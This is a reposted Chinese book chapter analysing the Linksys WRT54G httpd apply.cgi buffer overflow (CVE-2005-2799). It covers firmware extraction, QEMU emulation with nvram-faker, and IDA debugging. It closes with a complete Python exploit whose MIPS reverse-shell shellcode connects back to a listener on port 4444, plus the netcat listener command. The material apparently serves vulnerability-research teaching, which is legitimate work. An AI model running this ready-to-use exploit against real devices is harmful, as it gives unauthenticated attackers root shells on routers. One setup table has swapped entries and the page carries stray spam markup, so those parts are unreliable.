<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/7660

                    本文節選自《揭秘家用路由器0day漏洞挖掘技術》,吳少華主編,王煒、趙旭編著,電子工業出版社 2015年8月出版。

                    本章實驗測試環境說明如表13-1所示。

                    表13-1

                    測試環境 備 注
                    操作系統 Binwalk 2.0
                    文件系統提取工具 Ubuntu 12.04
                    調試器 IDA 6.1
                    利用代碼解釋器 Python 2.7

                    13.1 漏洞介紹


                    Linksys WRT54G是一款SOHO無線路由器,在功能、穩定性、雙天線信號覆蓋能力方面都得到了用戶的認可。它還支持第三方固件,從而使其功能更加強大。不少用戶購買Linksys WRT54G路由器就是為了刷第三方固件,使路由器具有可自由定制的功能。 Linksys WRT54G v2版本的路由器曝出過一個漏洞,CVE編號為CVE-2005-2799。在Cisco官網(http://tools.cisco.com/security/center/viewAlert.x?alertId=9722)可以獲取如下圖所示的信息。 從漏洞的公告中我們可以看出,該漏洞存在于WRT54G路由器Web服務器程序HTTPD的apply.cgi處理腳本中,由于對發送的POST請求沒有設置足夠的邊界與內容長度檢查,當未經認證的遠程攻擊者向路由器的apply.cgi頁面發送內容長度大于10?000字節的POST請求時,就可以觸發緩沖區溢出。這個漏洞會允許未經認證的用戶在受影響的路由器上以root權限執行任意命令。 該漏洞被覆蓋的緩沖區并不在堆棧中,因此,在溢出后不會導致堆棧上的數據被覆蓋,而是直接覆蓋到漏洞程序的?.data段,這時對漏洞的利用方式就與之前不同了。在這種情況下,控制溢出數據覆蓋?.extern段中的函數調用地址,劫持系統函數調用,是上上之選。該漏洞就是使用這種利用方式,并在劫持系統函數調用之后使漏洞程序執行前面章節中編寫的Reverse_tcp的Shellcode的。

                    圖13-1

                    硬件和軟件分析環境說明如表13-2所示。

                    表13-2

                    描述 備 注
                    型號 WRT54G Linksys
                    硬件版本 V2.2
                    固件版本 V4.00.7
                    指令系統 MIPSEL 小端機格式
                    QEMU 1.7.90 處理器模擬軟件

                    13.2 漏洞分析


                    下面詳細分析一下這個漏洞產生的原因和利用方法。

                    13.2.1 固件分析


                    下載Linksys WRT54G路由器4.00.7版本的固件,下載鏈接為http://download.pchome.net/ driver/network/route/wireless/down-129948-2.html,解壓縮后得到固件WRT54GV3.1_4.00.7_US_ code.bin。 使用Binwalk將固件中的文件系統提取出來,如下圖所示。

                    圖13-2>

                    該漏洞的核心組件為?/usr/sbin/httpd,如下圖所示。

                    圖13-3

                    13.2.2 修復運行環境


                    從漏洞公告中我們已經知道,當路由器HTTPD的apply.cgi處理腳本接收長度大于10?000字節的POST請求時會觸發緩沖區溢出漏洞。該漏洞的測試POC如下。 源碼 wrt54g_test.py

                    1 import sys
                    2 import urllib2 
                    3 try:
                    4     target = sys.argv[1]
                    5 except:
                    6     print "Usage: %s <target>" % sys.argv[0]
                    7     sys.exit(1) 
                    8 url = "http://%s/apply.cgi" % target
                    9 buf  = "\x42"*10000+"\x41"*0x4000      # POST parameter name 
                    10 req = urllib2.Request(url, buf)
                    11 print urllib2.urlopen(req).read()
                    

                    當我們使用模擬器(QEMU)運行路由器中的應用程序(如這里的Web服務器)時,經常會遇到一個問題——模擬器缺乏硬件的模擬,導致程序無法執行。而需要執行的Web服務器就是應用程序試圖采用NVRAM中的信息來配置參數,但由于找不到設備導致了錯誤的發生。在路由器中,常見的NVRAM動態庫libnvram.so提供了nvram_get()?函數和nvram_set()函數來獲取和設置配置參數。如果使用模擬器運行應用程序,會在調用nvram_get()?函數時失敗,導致應用程序無法運行(因為模擬器中沒有NVRAM)。使用如下命令運行HTTPD,如下圖所示。

                    $ cp $(which qemu-mipsel) ./
                    $ chroot ./ ./qemu-mipsel ./usr/sbin/httpd
                    $ netstat -an|grep 80
                    

                    圖13-4

                    在運行的過程中可以看到,程序報錯,提示找不到 /dev/nvram文件或目錄,且使用netstat命令查看當前系統開放的端口時沒有發現80端口,Web服務器啟動失敗。

                    1.修復NVRAM


                    使用zcutlip的一個nvram-faker來修復NVRAM。nvram-faker雖然是一個簡單的動態庫,但可以使用LD_PRELOAD劫持libnvram庫中的函數調用。我們只需要向一個ini的配置文件中寫入合理的NVRAM配置,就可以使Web服務器程序運行。 nvram-faker的下載方法如下。

                    $ git clone https://github.com/zcutlip/nvram-faker.git
                    $ ls
                    arch.mk         contrib      nvram-faker.c           nvram.ini
                    buildmipsel.sh  LICENSE.txt  nvram-faker.h           README.md
                    buildmips.sh    Makefile     nvram-faker-internal.h
                    

                    在nvram-faker中提供了劫持nvram_get()?函數的方法。為了讓程序運行,還需要劫持一個函數,函數聲明如下。

                    char *get_mac_from_ip(const char*ip);
                    

                    為了方便使用IDA或者GDB調試,我們把fork()?函數一并劫持,否則fork()?函數產生的多進程會讓調試過程異常復雜,函數聲明如下。

                    int fork(void);
                    
                    綜上所述,我們需要對nvram-faker進行以下修改。
                    01 打開nvram-faker.c,添加如下代碼。
                    
                    1 int fork(void)
                    2 {
                    3 return 0;
                    4 }
                    5 char *get_mac_from_ip(const char*ip)
                    6 {
                    7 char mac[]="00:50:56:C0:00:08";
                    8 char *rmac = strdup(mac);
                    9 return rmac;
                    10 }
                    
                    
                    代碼添加后如圖13-5所示。
                    02 修改nvram-faker.h頭文件,添加函數聲明如下。
                    
                    char *get_mac_from_ip(const char*ip);
                    int fork(void);
                    
                    修改后如下圖所示。
                    03 保存所有文件,進入編譯環節。在?/nvram-faker目錄下有兩個Shell腳本:一個是buildmips.sh,即用于編譯大端機格式的動態庫;另一個是buildmipsel.sh,即用于編譯小端機格式的動態庫。WRT54G路由器是小端機格式,所以這里使用buildmipsel.sh進行編譯,命令如下。
                    
                    [email protected]:~/nvram-faker/ $ sh buildmipsel.sh
                    [email protected]:~/nvram-faker/ $ ls
                    arch.mk         ini.o              nvram-faker.c           nvram.ini
                    buildmipsel.sh  libnvram-faker.so  nvram-faker.h           README.md
                    buildmips.sh    LICENSE.txt        nvram-faker-internal.h
                    contrib         Makefile           nvram-faker.o
                    

                    圖13-5

                    圖13-6

                    編譯好以后,會在?/nvram-faker目錄下生成一個名為“libnvram-faker.so”的動態庫。將libnvram-faker.so和同目錄下的nvram.ini復制到WRT54G路由器的根文件系統中,示例如下。

                    [email protected]:~/nvram-faker/ $ cp libnvram-faker.so ../ _WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root/
                    [email protected]:~/nvram-faker/ $ cp nvram.ini ../_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root/
                    [email protected]:~/_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root/ $ ls
                    bin  etc  libnvram-faker.so  nvram.ini  sbin  usr  www
                    dev  lib  mnt                proc       tmp   var
                    

                    由于libnvram-faker.so使用了共享庫編譯,所以我們需要將mipsel-linux-gcc交叉編譯環境中lib庫下的libgcc_s.so.1復制到WRT54G路由器的根文件系統中,命令如下。

                    $ cp /opt/mipsel/output/target/lib/libgcc_s.so.1 ~/_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root/lib
                    

                    2.修復HTTPD執行環境


                    HTTPD在運行時需要對?/var目錄下的某些文件進行操作,而這些文件是在Linux啟動過程中才會產生的,因此,編寫如下prepare.sh腳本修改HTTPD執行環境。 源碼 prepare.sh

                    1 rm var
                    2 mkdir var
                    3 mkdir ./var/run
                    4 mkdir ./var/tmp
                    5 touch ./var/run/lock
                    6 touch ./var/run/crod.pid
                    7 touch httpd.pid
                    

                    腳本run_cgi.sh提供了兩種方法執行HTTPD,一種是不需要調試器介入直接運行程序的執行模式,另一種是開放1234調試接口等待調試器連接。在QEMU環境中模擬執行HTTPD時,使用LD_PRELOAD環境變量加載libnvram-faker.so劫持函數調用,修復因硬件缺失導致的運行錯誤。增加的HTTPD腳本文件內容如下。 源碼 run_cgi.sh

                    1 #!/bin/bash
                    2 DEBUG="$1"
                    3 LEN=$(echo  "$DEBUG" | wc -c)
                    4 # usage: sh run_cgi.sh debug   #debug mode
                    5 #       sh run_cgi.sh         #execute mode
                    6 cp $(which qemu-mipsel) ./
                    7 if [ "$LEN" -eq 1 ]
                    8 then
                    9         echo "EXECUTE MODE !\n"
                    10         sudo chroot ./ ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" ./usr/sbin/httpd
                    11 else
                    12         echo "DEBUG MODE !\n"
                    13         sudo chroot ./ ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" -g 1234 ./usr/sbin/httpd
                    14 rm qemu-mipsel
                    15 fi
                    

                    3.測試和分析環境


                    測試和分析環境說明如表13-3所示。

                    IP地址
                    測試主機(Windows實體機) 192.168.90.11
                    虛擬主機(VMware Ubuntu) 192.168.230.136
                    虛擬網管(VMware) 192.168.230.1

                    網絡拓撲如下圖所示。

                    13.2.3 漏洞成因分析

                    運行prepare.sh腳本,修復HTTPD執行環境,命令如下。

                    $ sh prepare.sh
                    

                    使用run_cgi.sh腳本調試模式執行HTTPD,等待調試器連接,命令如下。

                    $ sh run_cgi.sh debug
                    DEBUG MODE !
                    

                    使用IDA加載HTTPD,進行遠程附加調試,按“F5”鍵直接運行HTTPD。待HTTPD服務開啟后,在Windows下運行測試腳本wrt54g-test.py,命令如下。

                    E:\>wrt54g_test.py 192.168.230.136
                    

                    可以看到,Ubuntu中的HTTPD程序已經崩潰了,現場如圖13-8所示。閱讀崩潰部分的代碼,發現程序希望將0寫入0x41419851(0x41414141+0x5710)處時造成錯誤。其原因是:系統尋不到0x41419851這塊內存,而0x41414141是我們發送的偽造數據,0x5710正好是偽造的POST參數的總長度。同時,我們從崩潰現場還能知道,如果存在地址0x41414141+0x5710,那么0x004112D0處會將地址0x41414141寫入寄存器?$t9,并且在0x00411208處控制程序執行流程。這里的溢出數據已經把?.extern段的strlen函數地址覆蓋了。

                    從匯編代碼中可以看到,崩潰現場在do_apply_post函數的代碼段中。從命名上可以知道,該函數的功能是處理apply的POST參數,正與漏洞公告中描述的一樣。 下面,我們看一下崩潰現場附近的代碼,分析造成漏洞的真正原因,如下圖所示。

                    在do_apply_post函數偏移0x3C處的偽代碼如下。

                    1 wreadlen = wfread(post_buf,1,content-length,fhandle);
                    2 if(wreadlen)
                    3     strlen(post_buf);
                    

                    讀取長度為content-length的所有POST數據到post_buf,如果讀取的POST數據長度不為0,就計算post_buf中數據的長度。 這里的content-length是POST參數的長度,在調用do_apply_post函數時并沒有進行校驗,而該長度在使用讀取數據進入內存時也沒有進行校驗就直接讀取了POST參數,因此導致了緩沖區溢出。 我們再看看產生緩沖區溢出的內存post_buf的位置。可以看到,post_buf位于HTTPD的?.data段中,如下圖所示。在應用程序中,.data段用于存放已初始化的全局變量,這里的post_buf大小為0x2710字節(10?000字節)。

                    現在我們已經弄清楚了漏洞的原理。該漏洞在接收超過10?000字節的來自攻擊者偽造的數據包時,由于在do_apply_post函數調用前后沒有驗證POST數據的長度,而在do_apply_post函數中使用了自定義的wfread()?函數,并調用了fread()?系統函數,直接將偽造的超長POST數據全部復制到大小為10?000字節的全局變量post_buf中,所以導致了緩沖區溢出。

                    13.3 漏洞利用


                    下面介紹一下該漏洞的利用方式。

                    13.3.1 漏洞利用方式:執行Shellcode


                    在漏洞分析中我們發現,該漏洞有一個特征,就是緩沖區溢出的數據覆蓋?.data段中的全局變量。仔細分析能夠發現在?.data段后面有以下段,如下圖所示。

                    因為這些段是連續的并且可寫入,所以我們考慮通過do_apply_post函數的漏洞使溢出數據連續覆蓋?.data后面的多個段,直到將?.extern段中的strlen函數地址覆蓋,這樣,我們就可以在wfread函數覆蓋內存以后,在調用strlen函數時將執行流程劫持并執行任意地址的代碼,如下圖所示。

                    在這里,只要填充0x2F32(0x1000D7A0 - 0x10001AD8)字節的數據,就可以將原來的strlen調用位置填充為任意地址,并控制執行流程。但是,為了利用的穩定性和通用性,這里選擇將strlen之后的一段數據一并覆蓋,利用方法如下圖所示。 在post_buf中填充NOP指令及Shellcode,將post_buf之后總共0x4000字節的數據全部覆蓋為post_buf首地址,使布置的緩沖區總是能夠覆蓋strlen函數地址,strlen指向post_buf,如此一來,原來執行strlen的地方都會跳轉到post_buf首地址去執行。這樣就可以保證wfread()?函數布置完緩沖區以后,在0x004112D8處執行strlen函數時會被劫持到post_buf頭部去執行我們的Shellcode了。

                    13.3.2 生成POC


                    在完成了ROP的構造以后,編寫如下代碼與路由器進行交互,實現漏洞利用。 源碼 wrt54g_POC.py

                    1 import sys
                    2 import struct,socket
                    3 import urllib2
                    4 def makepayload(host,port):
                    5     print '[*] prepare shellcode',
                    6     hosts = struct.unpack('<cccc',struct.pack('<L',host))
                    7     ports = struct.unpack('<cccc',struct.pack('<L',port))
                    8     mipselshell ="\xfa\xff\x0f\x24"   # li t7,-6
                    9     mipselshell+="\x27\x78\xe0\x01"   # nor t7,t7,zero
                    10     mipselshell+="\xfd\xff\xe4\x21"   # addi a0,t7,-3
                    11     mipselshell+="\xfd\xff\xe5\x21"   # addi a1,t7,-3
                    12     mipselshell+="\xff\xff\x06\x28"   # slti a2,zero,-1
                    13     mipselshell+="\x57\x10\x02\x24"   # li v0,4183 # sys_socket
                    14     mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
                    15     mipselshell+="\xff\xff\xa2\xaf"   # sw v0,-1(sp)
                    16     mipselshell+="\xff\xff\xa4\x8f"   # lw a0,-1(sp)
                    17     mipselshell+="\xfd\xff\x0f\x34"   # li t7,0xfffd
                    18     mipselshell+="\x27\x78\xe0\x01"   # nor t7,t7,zero
                    19     mipselshell+="\xe2\xff\xaf\xaf"   # sw t7,-30(sp)
                    20     mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\x0e\x3c"   # lui t6,0x1f90
                    21     mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\xce\x35"   # ori t6,t6,0x1f90
                    22     mipselshell+="\xe4\xff\xae\xaf"   # sw t6,-28(sp)
                    23     mipselshell+=struct.pack('<2c',hosts[1],hosts[0]) + "\x0e\x3c"   # lui t6,0x7f01
                    24     mipselshell+=struct.pack('<2c',hosts[3],hosts[2]) + "\xce\x35"   # ori t6,t6,0x101
                    25     mipselshell+="\xe6\xff\xae\xaf"   # sw t6,-26(sp)
                    26     mipselshell+="\xe2\xff\xa5\x27"   # addiu a1,sp,-30
                    27     mipselshell+="\xef\xff\x0c\x24"   # li t4,-17
                    28     mipselshell+="\x27\x30\x80\x01"   # nor a2,t4,zero
                    29     mipselshell+="\x4a\x10\x02\x24"   # li v0,4170  # sys_connect
                    30     mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
                    31     mipselshell+="\xfd\xff\x11\x24"   # li s1,-3
                    32     mipselshell+="\x27\x88\x20\x02"   # nor s1,s1,zero
                    33     mipselshell+="\xff\xff\xa4\x8f"   # lw a0,-1(sp)
                    34     mipselshell+="\x21\x28\x20\x02"   # move a1,s1 # dup2_loop
                    35     mipselshell+="\xdf\x0f\x02\x24"   # li v0,4063 # sys_dup2
                    36     mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
                    37     mipselshell+="\xff\xff\x10\x24"   # li s0,-1
                    38     mipselshell+="\xff\xff\x31\x22"   # addi s1,s1,-1
                    39     mipselshell+="\xfa\xff\x30\x16"   # bne s1,s0,68 <dup2_loop>
                    40     mipselshell+="\xff\xff\x06\x28"   # slti a2,zero,-1
                    41     mipselshell+="\x62\x69\x0f\x3c"   # lui t7,0x2f2f "bi"
                    42     mipselshell+="\x2f\x2f\xef\x35"   # ori t7,t7,0x6269 "http://"
                    43     mipselshell+="\xec\xff\xaf\xaf"   # sw t7,-20(sp)
                    44     mipselshell+="\x73\x68\x0e\x3c"   # lui t6,0x6e2f "sh"
                    45     mipselshell+="\x6e\x2f\xce\x35"   # ori t6,t6,0x7368 "n/"
                    46     mipselshell+="\xf0\xff\xae\xaf"   # sw t6,-16(sp)
                    47     mipselshell+="\xf4\xff\xa0\xaf"   # sw zero,-12(sp)
                    48     mipselshell+="\xec\xff\xa4\x27"   # addiu a0,sp,-20
                    49     mipselshell+="\xf8\xff\xa4\xaf"   # sw a0,-8(sp)
                    50     mipselshell+="\xfc\xff\xa0\xaf"   # sw zero,-4(sp)
                    51     mipselshell+="\xf8\xff\xa5\x27"   # addiu a1,sp,-8
                    52     mipselshell+="\xab\x0f\x02\x24"   # li v0,4011 # sys_execve
                    53     mipselshell+="\x0c\x01\x01\x01"  # syscall 0x40404
                    54     print 'ending ...'
                    55     return mipselshell 
                    56 try:
                    57     target = sys.argv[1]
                    58 except:
                    59     print "Usage: %s <target>" % sys.argv[0]
                    60     sys.exit(1) 
                    61 url = "http://%s/apply.cgi" % target
                    62 #ip='192.168.230.136'
                    63 sip='192.168.1.100'     #reverse_tcp local_ip
                    64 sport = 4444            #reverse_tcp local_port
                    65 DataSegSize = 0x4000
                    66 host=socket.ntohl(struct.unpack('<I',socket.inet_aton(sip))[0])
                    67 payload = makepayload(host,sport)
                    68 addr = struct.pack("<L",0x10001AD8)
                    69 DataSegSize = 0x4000
                    70 buf = "\x00"*(10000-len(payload))+payload+addr*(DataSegSize/4) 
                    71 req = urllib2.Request(url, buf)
                    72 print urllib2.urlopen(req).read()
                    

                    13.4 漏洞測試


                    測試環境

                    01 打開網頁,訪問網關(路由器)。網關是192.168.1.1,瀏覽器訪問192.168.1.1,登錄WRT54G路由器,在首頁上可以看到當前路由器的型號和固件版本。
                    02 使用nc命令在192.168.1.100上打開4444端口監聽,命令為“nc -lp 4444”。
                    03 執行測試腳本,命令為“wrt54g_POC.py 192.168.1.1”。
                    04 執行任意命令。
                    

                    整個過程如下圖所示。

                    登錄路由器以后,就可以使用命令對路由器進行控制,并查看路由器CPU的信息了。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频